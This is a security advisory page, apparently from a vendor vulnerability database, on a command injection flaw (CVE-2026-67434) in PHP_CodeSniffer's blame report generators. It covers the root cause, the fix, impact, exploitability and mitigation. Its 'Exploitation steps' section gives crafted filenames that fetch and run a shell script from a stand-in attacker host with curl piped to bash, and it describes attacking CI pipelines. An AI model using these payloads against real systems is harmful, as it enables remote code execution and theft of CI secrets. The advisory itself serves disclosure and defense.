CVE-2026-67434
PHP vulnerability analysis and mitigation

Overview

CVE-2026-67434 is an OS command injection vulnerability in PHP_CodeSniffer's Gitblame, Hgblame, and Svnblame report generators, classified under CWE-78. When PHP_CodeSniffer processes files whose names contain shell metacharacters (e.g., $, ;, "), the unescaped filename is passed directly to a shell command, allowing attacker-controlled commands to execute. Affected versions include all releases before 3.13.6 and 4.0.0–4.0.1; the issue was disclosed and patched on August 6, 2026. It carries a CVSS v4.0 base score of 7.3 (High) (GitHub Advisory, PHPCS Release).

Technical details

The root cause (CWE-78) is that the getBlameContent() methods in src/Reports/Gitblame.php, Hgblame.php, and Svnblame.php interpolated filenames directly into shell command strings using double-quote wrapping rather than PHP's escapeshellarg(). For example, the vulnerable Gitblame code constructed: 'git blame --date=short "' . basename($filename) . '" 2>&1', which allows shell metacharacters in the filename to break out of the quoted context and inject arbitrary commands. The fix, applied in PR #1473, replaces the double-quote interpolation with escapeshellarg() and adds a -- separator to prevent filenames from being interpreted as CLI flags (GitHub PR, Commit 7a3a6bb). Exploitation requires that the attacker can supply a file with a crafted name to a PHP_CodeSniffer run using one of the blame report formats, and that the runtime platform permits shell metacharacters in filenames (Linux/macOS are affected; Windows is generally not).

Impact

Successful exploitation allows an attacker to execute arbitrary OS commands with the privileges of the PHP_CodeSniffer process. This is particularly dangerous in CI/CD pipelines that automatically scan pull requests from untrusted contributors, or on developer machines reviewing third-party code, where the process may have access to secrets, credentials, source code, or build infrastructure. The vulnerable system impact includes high confidentiality, integrity, and availability loss, though subsequent (downstream) systems are not directly impacted by the vulnerability itself (GitHub Advisory).

Exploitability

No public proof-of-concept exploit code has been published, and there is no evidence of in-the-wild exploitation as of the disclosure date (GitHub Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. The EPSS score is approximately 0.70%, reflecting low near-term exploitation probability. Exploitation is not automatable (requires passive user interaction — a developer or CI system must run PHP_CodeSniffer with a blame report against attacker-supplied files), and no threat actor attribution has been reported. The vulnerability was responsibly disclosed by researchers Faze-up and edorian (PHPCS Release).

Exploitation steps

  1. Craft a malicious filename: Create a PHP file whose name contains shell metacharacters embedding a payload, e.g., $(curl http://attacker.com/shell.sh | bash).php or ; touch /tmp/pwned ;.php.
  2. Submit the file to a target pipeline: Introduce the maliciously named file into a repository or code submission (e.g., via a pull request to a project whose CI pipeline runs PHP_CodeSniffer with a blame report format).
  3. Trigger PHP_CodeSniffer with a blame report: The CI job or developer runs a command such as phpcs --report=Gitblame <path-to-malicious-file>, causing PHP_CodeSniffer to invoke getBlameContent() on the file.
  4. Command injection executes: The unescaped filename is interpolated into the shell command string (e.g., git blame --date=short "$(curl http://attacker.com/shell.sh | bash).php" 2>&1), causing the shell to evaluate the injected subcommand with the privileges of the PHP_CodeSniffer process.
  5. Achieve objective: The injected command runs arbitrary code — exfiltrating CI secrets, establishing persistence, or pivoting to other systems accessible from the build environment (GitHub Advisory, GitHub PR).

Indicators of compromise

  • Process: Unexpected child processes spawned by the PHP/PHPCS process, such as curl, wget, bash, sh, python, or nc, particularly in CI runner environments.
  • File System: Unexpected files created in directories writable by the CI runner or developer user (e.g., /tmp/, project directories), especially with names matching injected command output.
  • Logs: CI pipeline logs showing unusual output from phpcs runs, including shell error messages or unexpected command output mixed into the blame report; shell history entries on developer machines showing filenames with metacharacters.
  • Network: Outbound connections from CI build agents or developer machines to unexpected external hosts, particularly during or immediately after a PHP_CodeSniffer blame report run.

Mitigation and workarounds

Upgrade PHP_CodeSniffer to version 3.13.6 (3.x branch) or 4.0.2 (4.x branch), which apply escapeshellarg() to filenames before constructing shell commands (PHPCS Release, GitHub Advisory). If an immediate upgrade is not possible, avoid using the --report=Gitblame, --report=Hgblame, or --report=Svnblame report formats when scanning untrusted code — use the default Full report or any other non-blame report instead. This workaround is especially critical for CI jobs, pre-commit hooks, automated review services, and any pipeline that processes code from external contributors.

Community reactions

The PHP_CodeSniffer maintainer (jrfnl) issued a security advisory and tagged the release as a security release, advising all users to update as soon as possible (PHPCS Release). The vulnerability was responsibly disclosed by researchers Faze-up and edorian, with remediation contributions from Volker Dusch, Rodrigo Primo, and Dan Wallis. The advisory was picked up by GitLab's advisory database and Tenable's container security plugin catalog shortly after disclosure, indicating routine tracking by the security tooling community (GitHub Advisory).

Additional resources


SourceThis report was generated using AI

Related PHP vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-8cfw-pcwh-v63wHIGH8.4
  • PHP logoPHP
  • winter/wn-system-module
NoYesAug 20, 2026
GHSA-p2ch-c2c3-4xm5MEDIUM6.1
  • PHP logoPHP
  • winter/wn-backend-module
NoYesAug 20, 2026
GHSA-fm29-4mq3-phg6MEDIUM5.3
  • PHP logoPHP
  • winter/wn-backend-module
NoYesAug 20, 2026
GHSA-hq84-x37p-j6q5MEDIUM4.5
  • PHP logoPHP
  • winter/wn-backend-module
NoYesAug 20, 2026
GHSA-mpmw-f6h6-3g26MEDIUM4.3
  • PHP logoPHP
  • winter/wn-backend-module
NoYesAug 20, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management